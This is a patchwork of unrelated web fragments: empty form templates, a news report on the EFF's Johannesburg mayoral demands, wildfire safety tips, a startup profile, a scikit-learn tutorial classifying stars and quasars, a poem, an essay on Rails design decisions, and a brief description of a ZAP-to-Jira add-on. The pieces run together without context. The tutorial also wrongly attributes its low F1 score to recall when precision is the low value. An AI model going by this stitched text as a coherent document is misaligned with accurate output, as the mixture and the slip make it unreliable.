| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Nation Name:
Verification Code (click here):
Football/Soccer:
Rugby:
Ice Hockey:
Ice Skating:
Bobsled:
Skiing:
Snowboarding:
Biathlon:
Check the top-right corner to make sure you have points remaining.


The Current Range is 1 to 100 Challenger 1 Name Guess Challenger 2 Name Guess Enter a number Submit Guess Reset Game Clear Game


Your Cart
- Click the "X" next to any item to remove it from your cart
| Remove | Quantity | Item |
|---|
Personal
- Sign me up!
Billing Address
- My Shipping Address is the same as my Billing Address.
Shipping Address
- Save my Shipping Address for future orders.
Secure Payment
Confirmation
- Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-
Your total is: $


Give us Joburg, and we'll give you Tshwane: Malema lays down the gauntlet to DA, ANC
by ZINGISA MVUMVUThe EFF is “ready to govern” Johannesburg after the departure of Herman Mashaba as executive mayor in the wake of his dramatic resignation as a DA member.
And the only condition the EFF has for either the ANC or DA is that if they support the candidate fielded by the EFF for mayor of Johannesburg, the EFF will return the favour in Tshwane.
This was said by EFF leader Julius Malema during a media conference at Nasrec Expo Centre on Thursday.
Malema said it was about time the EFF took over power in the Johannesburg metro, which they had given to the DA after the hung election in 2016.
And for them, he continued, it did not matter who they govern with, so long as they get full control of Johannesburg. They would then give full control to Tshwane to whichever party voted with them in Johannesburg.
“And we are not going to enter into coalitions. You lead Tshwane exclusively and we lead Joburg exclusively, so there is no interference with each other,” said Malema.
“If it is going to be done with the ANC, so be it. If is it going to done with the DA, so be it. We are going to field our candidate in Joburg and the leadership of the EFF will announce the name in due course.”
Malema said what the EFF was not going to do was support other parties' candidates in Johannesburg.
If the DA or the ANC did not give in to their demands, they were prepared to remain in opposition.
The EFF leader said the party would not take criticism from voters for their willingness to be in partnership with either the DA or ANC.
“The voter was undecided and therefore no voter should say, 'Why do you give power to so and so?' You never voted for the EFF to give power to anyone,” he said.
“If the DA or the ANC do not support us, we are not going to do anything, we will just be opposition, put our motions and make our input — and it ends there.”


Wildfire
Wildfires Warning: get to safety right away
Precautions for Safety
Prepare Now
Survive During
- Leave if told to do so.
- If trapped, call 9-1-1.
- Listen for emergency information and alerts.
- Use N95 masks to keep particles out of the air you breathe.
- Sign up for your community’s warning system. The Emergency Alert System (EAS) and National Oceanic and
Atmospheric Administration (NOAA) Weather Radio also provide emergency alerts.
- Know your community’s evacuation plans and find several ways to leave the area. Drive the evacuation
routes
and find shelter locations. Have a plan for pets and livestock.
- Gather emergency supplies, including N95 respirator masks that filter out particles in the air you
breathe.
Keep in mind each person’s specific needs, including and updated asthma action plan
and medication. Don’t forget the needs of pets.
- Designate a room that can be closed off from outside air. Close all doors and windows. Set up a
portable
air
cleaner to keep indoor pollution levels low when smoky conditions exist.
- Keep important documents in a fireproof, safe place. Create password-protected digital copies.
- Use fire-resistant materials to build, renovate, or make repairs.
- Find an outdoor water source with a hose that can reach any area of your property.
- Create a fire-resistant zone that is free of leaves, debris, or flammable materials for at least 30
feet
from your home.
- Review insurance coverage to make sure it is enough to replace your property.
- Pay attention to air quality alerts.
- Evacuate immediately if authorities tell you to do so.
- If trapped, then call 911 and give your location, but be aware that emergency response could be delayed
or
impossible. Turn on lights to help rescuers find you.
- Listen to EAS, NOAA Weather Radio, or local alerting systems for current emergency information and
instructions.
- Use an N95 masks to keep harmful particles out of the air you breathe.
- If you are not ordered to evacuate but smoky conditions exist, stay inside in a safe location or go to
a
community building where smoke levels are lower.
- Keep listening to EAS, NOAA Weather Radio, and local authorities for updated information.
 Try to send a text,
bang
on a pipe or wall, or use a whistle instead of shouting.
- Stay clear of fallen power lines or broken utility lines.
- Do not enter damaged buildings until you are told that they are safe.
- Save your phone calls for emergencies. Phone systems are often down or busy after a disaster. Use text
messaging or social media to communicate with family and friends.
- Be careful during clean-up. Wear thick-soled shoes, long pants, and work gloves.


Our Vision
Nexta.The biggest technical revolution of odisha ,the hope of every middle class family
Started by two college mates Manas Ranjan Panigrahi and Prabhat Kumar Sahu, an Odisha based startup in Sambalpur district of Odisha on Feb 21, 2017 as an e-commerce android app called NEXTAone in Sambalpur and in Burla on Dec 25, 2017 for the first time.
Nexta Group is a startup which is growing rapidly. Now 21 Year old,M anas Ranjan Panigrahi,Founder and CEO of NEXTA began his journey in Feb. 2017,starting with an ecommerce platform called Nextaone at Odisha, the company as of April 2018 established in 19 states across the country and ready to launch in other countries. It has been named Odisha’s largest SME’s E-commerce chain and an emerging products based company of this country. In Nexta in past we launched Vision( also known as infinity utterance), the Smart Blind stick for blind person by which they can feel the things near them. In this year we are going to LEAFY series.


2.3.4. Classification: Learning Labels of Astronomical Sources¶
Modern astronomy is concerned with the study and characterization of distant objects such as stars, galazies, or quasars. Objects can often be very quickly characterized through measurements of their optical spectrum. A spectrum is a measure of the photon flux as a function of wavelength.
The above spectrum is that of the star Vega, the brightest star in the northern constellation Lyra. Its surface is at about 9600 degrees Kelvin, and its spectrum is roughly that of a 9600K black-body, with absorption due to molecules in its cooler atmosphere. The deepest of these absorption spikes are due to the energy levels of Hydrogen. From examination of high-resolution spectra like this one, one can learn a lot about the physical processes at work in a distant astronomical source.
Unfortunately, spectra like these are very time-consuming and expensive to obtain, especially for very faint objects. For this reason, astronomers have long observed objects through broad-band filters, recording the observations using the magnitude system. For the u-band filter shown above, the magnitude is defined as
Here is the filter transmission, and is the flux at wavelength . The constant encodes the calibration of the telescope. The reason for the logarithmic form of the magnitude is historical.
Astronomers generally work in terms of the color, defined as the difference of magnitudes between two different filter bands. This is because the constant can be difficult to calibrate from telescope to telescope or from night to night. Subtracting two magnitudes reduces this uncertainty. For example, an observation of the star Vega above will consist of a vector four numbers: [u-g, g-r, r-i, i-z].
Because of this, machine-learning tasks in Astronomy are often based on a small spectroscopic training set, with a larger set of photometric observations with unknown labels or classification. We’ll examine a few of those situations here.
<IP_ADDRESS>. Motivation: Why is this Important?¶
The study of quasars, an amalgamation of the words “quasi-stellar radio source”, has led to many advances in our understanding of fundamental physics. Quasars, also commonly referred to as QSOs (Quasi-Stellar Objects) or AGNs (Active Galactic Nuclei) are galaxies which contain supermassive black holes at their core. These black holes can weigh-in at over 10 billion times the mass of our sun! Astronomical surveys using filters like those above can find thousands of these, but their appearance on the sky is very similar to that of a normal star in our galaxy. Thus the task of choosing quasars for time-consuming spectral followup is very difficult, and well-suited for approaching with machine learning.
<IP_ADDRESS>. Star-Quasar Classification: Naive Bayes¶
In the folder $TUTORIAL_HOME/data/sdss_colors, there is a script fetch_data.py which will download the colors of over 700,000 stars and quasars from the Sloan Digital Sky Survey. 500,000 of them are training data, spectroscopically identified as stars or quasars. The remaining 200,000 have been classified using a machine learning scheme.
Here we will use a Naive Bayes estimator to classify the objects. First, we will construct our training data and test data arrays:
>>> import numpy as np
>>> train_data = np.load('data/sdss_colors/sdssdr6_colors_class_train.npy')
>>> test_data = np.load('data/sdss_colors/sdssdr6_colors_class.200000.npy')
Now we must put these into arrays of shape (n_samples, n_features) in order to pass them to routines in scikit-learn. Training samples with zero-redshift are stars, while samples with positive redshift are quasars:
>>> X_train = np.vstack([train_data['u-g'],
... train_data['g-r'],
... train_data['r-i'],
... train_data['i-z']]).T
>>> y_train = (train_data['redshift'] > 0).astype(int)
>>> X_test = np.vstack([test_data['u-g'],
... test_data['g-r'],
... test_data['r-i'],
... test_data['i-z']]).T
>>> y_test = (test_data['label'] == 0).astype(int)
Notice that we’ve set this up so that quasars have y = 1, and stars have y = 0. Now we’ll set up a Naive Bayes classifier. This will fit a four-dimensional uncorrelated gaussian to each distribution, and from these gaussians quickly predict the label for a test point:
>>> from sklearn import naive_bayes
>>> gnb = naive_bayes.GaussianNB()
>>> gnb.fit(X_train, y_train)
>>> y_pred = gnb.predict(X_test)
Let’s check our accuracy. This is the fraction of labels that are correct:
>>> accuracy = float(np.sum(y_test == y_pred)) / len(y_test)
>>> print accuracy
0.617245
We have 61% accuracy. Not very good. But we must be careful here: the accuracy does not always tell the whole story. In our data, there are many more stars than quasars
>>> print np.sum(y_test == 0)
186721
>>> print np.sum(y_test == 1)
13279
Stars outnumber Quasars by a factor of 14 to 1. In cases like this, it is much more useful to evaluate the fit based on precision and recall.  The precision asks what fraction of positively labeled points are correctly labeled:
The recall asks what fraction of positive samples are correctly identified:
We can calculate this for our results as follows:
>>> TP = np.sum((y_pred == 1) & (y_test == 1))
>>> FP = np.sum((y_pred == 1) & (y_test == 0))
>>> FN = np.sum((y_pred == 0) & (y_test == 1))
>>> print TP / float(TP + FP) # precision
0.142337086782
>>> print TP / float(TP + FN) # recall
0.948113562768
For convenience, these can be computed using the tools in the metrics sub-package of scikit-learn:
>>> from sklearn import metrics
>>> metrics.precision_score(y_test, y_pred)
0.14233708678153123
>>> metrics.recall_score(y_test, y_pred)
0.94811356276828074
Another useful metric is the F1 score, which gives a single score based on the precision and recall for the class:
The closer the F1-score is to 1.0, the better the classification is.
>>> metrics.f1_score(y_test, y_pred)
0.24751550658108151
For convenience, sklearn.metrics provides a function that computes all of these scores, and returns a nicely formatted string. For example:
>>> print metrics.classification_report(y_test, y_pred, target_names=['Stars', 'QSOs'])
precision recall f1-score support
Stars 0.99 0.59 0.74 186721
QSOs 0.14 0.95 0.25 13279
avg / total 0.94 0.62 0.71 200000
We see that for Gaussian Naive Bayes, our QSO recall is fairly good: we are correctly identifying 95% of all quasars. The precision, on the other hand, is much worse. Of the points we label quasars, only 14% of them are correctly labeled. This low recall leads to an F1-score of only 0.25. This is not an optimal classification of our data. Apparently Naive Bayes is a bit too naive for this problem.
Later, in Exercise #1, we will apply a more sophisticated learning method to this task, which will potentially improve on these results.
Next Section: Regression


--- layout: post title: Teddy Bear date: '2006-09-27T12:00:00-04:00' tags: - '2006' tumblr_url: http://poetry.liabogoev.com/post/49076953726/teddy-bear ---
Soft worn nose and button eyes,
Patchy fur and missing stuffing
A torn ear,
And a flattened paw,
Perfect for holding.
A special smell,
Soothing to snuggle,
A missing tail,
And a lopsided grin,
Smiles at me funny.
The eyes look at me,
Knowingly,
Knowing and remembering.
The secret adventures,
They shared with me.
The eyes of a veteran,
An ancient companion,
A veteran of the life of
A thumb sucker’s pet.
All the things
That might be wrong with this bear,
Are what make him my
Perfect
Teddy bear


Homepage
About US
Our Daily Sales
Order From Us
Salmon Cookie Sales
New Location
New Minimun Cookies
New Max Cookies
New Average Cookies


This SRFI defines the trivial type timespec, which is used to represent the struct timespec defined by the POSIX <time.h> header.
struct timespec
<time.h>


A *royalty* check from Pearson!
Here. Whoa. I just got a royalty check from Pearson today. Right now, it lists my advance for the WinForms book (which may turn into positive money some day), but also includes money from ATL Internals (which I'm still proud of) and Windows Telephony Programming (which I can't believe is still selling!). I won't be able to put my kids through college with the money. In fact, I can barely put them through a car wash with that money, but it's still nice. : )


--- --- {% capture buildtimestamp %}{{ "now" | date: "%Y%m%d%H%M" }}{% endcapture %} {% include head.html %}


Rails isn’t the only part of your application where design decisions are made. The developers of Rails aren’t the only developers whose past experience can be used to make design decisions. You have experience, too. And it’s that experience that must drive your design process.
So, let’s talk about design. What is it?
Design is about making decisions. Deciding what to do and what not to do. What color should I use? Where does the power button go? What copy do I use for this link? What is the name of this class? What type should I use for this variable? What name should I use for this variable?
The act of creation naturally requires doing design, making decisions. It is this decision-making process that makes the creative process unpredictable and lengthy—it’s not clear up front what decisions we might have to face. In my experience, understanding the problem to solve is rarely difficult (even if some developers forget to do it :). It’s much more challenging to figure out how to best solve the problem.
Fortunately, the more experience we gain in the act of creation, the more familiar some of the decisions we face appear to be. We start to see patterns of design. When we see those patterns enough, we develop techniques that make these decisions for us.
Typographers, for example, have rules of thumb about line length and font size. Rarely would a typographer begin with a blank page and start setting the text at different font-sizes and line-lengths until it “looked right”. Although a gifted typographer might be able to do this quickly, most typographers will simply adjust the font-size and line-length to a particular ratio that is known to produce a readable layout, based on years of collected experience.
Graphic designers don’t typically begin each task with a blank screen and move elements around until they “work together”. Instead, they’ll employ a grid system and align all objects somewhere on that grid. Years of collected design experience have taught them that designs organized around a grid will look good and be quicker and easier to produce.
Software engineers, too, employ these types of tools and techniques. For example, few developers, when faced with creating a way for two applications to communicate, would invent a wire-protocol from scratch. Most developers would use an HTTP-based approach, with JSON or XML as the encoding mechanism.
From these techniques, it’s often convenient to develop tooling. LaTeX is a tool that typographers can use to make basic decisions about page layout, leading, kerning, and font choice. A boilerplate CSS file is a tool a designer can use to keep objects aligned to a grid. JSON serializers and HTTP libraries are tools a developer can use to build inter-application communication.
Some techniques are so general as to be accepted practice—the grid system, for example. Others are only relevant in a particular context, for a particular purpose—a hand-held game programmer will have little need of a JSON-based app-to-app communication protocol.
What does this have to do with Rails?
Rails is a tool that embodies many accepted techniques for the design of web-based, SQL-database-backed applications, such as:
- Use the controller or command pattern to map URLs to code
- Consistently name your URLs and controllers (e.g.
/users
is serviced byUsersController
) - Consistently name fields in your database (e.g.
ID
is the primary key,FOO_ID
is the foreign key) and their method of access in the code (e.g.user.first_name
gets the value of theFIRST_NAME
field of theUSERS
table).
Rails further embodies other techniques that are less universal but—if accepted—can yield great productivity:
- All interaction is via HTTP verbs, based around resource manipulation (i.e. REST).
- Emails are views, just like web views.
- Declarative validations on database-backed objects can be used to generate highly usable web forms for user interaction.
These decisions, baked into the tool called Rails, don’t make sense for every application. But they make sense for a large class of applications.
But because this class of applications is broad, Rails can’t make every design decisions about every application. This means that there are still decisions we must make. And so we make them.
Design Decisions to Make
It’s not always easy to know what the right decisions are. There are a lot of factors to balance when writing software: how easy is it to test, how easy is it to understand or modify, how easy will it be to write?
As you build each feature, you do your best to make the right design decisions, and produce clean, understandable code. Alone, you have a good chance of producing a well-designed codebase.
A team of developers, however, will encounter trouble. Given any problem, there are many possible design decisions that can be made to solve it. Rarely is one decision so obviously correct that every competent developer would arrive at it independently. Instead, developers will make design decisions based on their experience, the problem, or even their mood.
Imagine a hotel where the electricity always worked, the water was always running, check-in smooth and efficient, but where each room was laid out differently. Each shower operated by a different type of knob, each electrical outlet oriented a different way, each bed with a different set of pillows. Is this a well-designed hotel? Would it be easy to work there?
Hotel Rails
At the absolute most optimistic, a Rails application created by a team of developers deferring all design decisions not made by Rails to the moment of implementation could be described as “cleanly inconsistent”. Each controller action, model method, and mailer, hand-crafted by a conscientious developer clean and perfect in and of itself, but different from its brethren elsewhere in the system. At its most optimistic.
A designer with nothing but an eye for design could produce something beautiful. A typographer, staring at a blank page, armed with a typeface and good taste can produce a readable document. Is this the best way for them to work? Should they be working this way?
When developing a feature for a Rails application, do we really need to make these decisions every time:
- Which part of my application logic is a controller concern?
- Which part belongs to the model?
- Which model does this code most naturally go in?
- Is this controller too big and messy and now needs refactoring?
- Is the code I want in another model and I have to extract something they can share?
None of these decisions have anything to do with the problem we are solving. Much like the decision around the name of the primary key of a database table, these decisions are not specific to the purpose of our application. Ideally, we shouldn’t have to make these decisions at all, or at least very often.
Even if our team is comprised of the smartest developers with a keen eye for design, who can quickly decompose a problem into the perfect set of changes, it feels like we are doing unnecessary work by revisiting the same decisions again and again.
So why doesn’t Rails address this?
There are some things even Rails can’t do
Rails doesn’t know what kind of application we want to make, so it remains silent as to how to organize business logic. Don’t mistake this silence for direction, however. Just because Rails provides controllers, models, and mailers for us does not mean that we are intended to put every bit of code into them. Just as a grid system makes no prescription on typeface, LaTeX none regarding the Oxford Comma, and HTTP none on the encoding of information, Rails prescribes nothing for the organization of your application logic.
So what do we do?
We accept these facts. We are building applications to solve problems. We’ve chosen Rails as a tool to make some design decisions for us so that we can focus our effort on solving those problems. But, in the context of the team we have, the problems we must solve, and other realities that Rails cannot account for, it’s perfectly OK to make some design decisions of our own.
Rails isn’t the only part of our app where design decisions are made. And the developers of Rails aren’t the only developers whose past experience can be used to make design decisions. We have experience, too.
My current team has made some design decisions, based on our experience as developers, the business problems at hand, and our experience with Rails. Our experience. As developers. Solving the problems at hand.
One of our decisions was that no business logic goes in a model, mailer, controller, or background job. That doesn’t mean you should also make that decision or that Rails should be extended to make that decision, or that any Rails codebase that puts business logic in a model is a priori wrong. But it was the right decision for us, given the problems we face, the team we have, and the way we want to work.
The result is that I spend very little time making decisions about where code should go. It is rare in a code review to discuss what may or may not be a “model concern”, for example. Instead, I make decisions about how best to solve the problem at hand, and our code reviews focus on the correctness and completeness of those solutions.
Sure, the code could be organized somewhat cleanly across a series of controllers, models, and mailers, but what would that gain us? Could that code have been produce more quickly? Would it be easier to understand? Would it solve the problems at hand better or sooner?
Would finding a way to put all code in a controller or model improve any reasonable metric of code quality other than “misunderstood compliance to The Rails Way”?
The team made these design decisions early—we knew that we’d be living with the applications for a long time. We decided that instead of cleaning up a mess in the controllers and models of our apps when they became messy, we would simply not ever make a mess there. This is impossible to achieve without the application of tools and techniques that automate design decisions away. It’s also impossible to achieve if your willingness to make design decisions ends at the Rails API. And it’s extremely difficult to achieve if you ignore your own experience as a developer and “don’t fight Rails”.

Design is about making decisions, so don’t be afraid to make them.


Sign Up
person
First Name
person
Last Name
email
Email
vpn_key
password
phone
Phone Number
already have an account?
Signin


Dr Carton understands the central importance of a timely and accurate histopathology report in the patient management pathway. He generally aims for a 24-48 hour turnaround time for most specimens. Cases requiring immunohistochemistry or molecular testing may take longer though effort will always be made to provide a provisional report as soon as possible. Dr Carton is available by email or phone for discussion of cases.
If you are interested in referring a case please complete and submit the form below.


Create Jira Issues for a project based on ZAP alerts
This is an add-on created to create jira issues in the seleced project suing the jira REST api.
<>
It provides:
- 1) Selection of projects out of a jira project list
- 2) Selcetion of assignees
- 3) Selection of alert level to be exported
Help file
This help file is at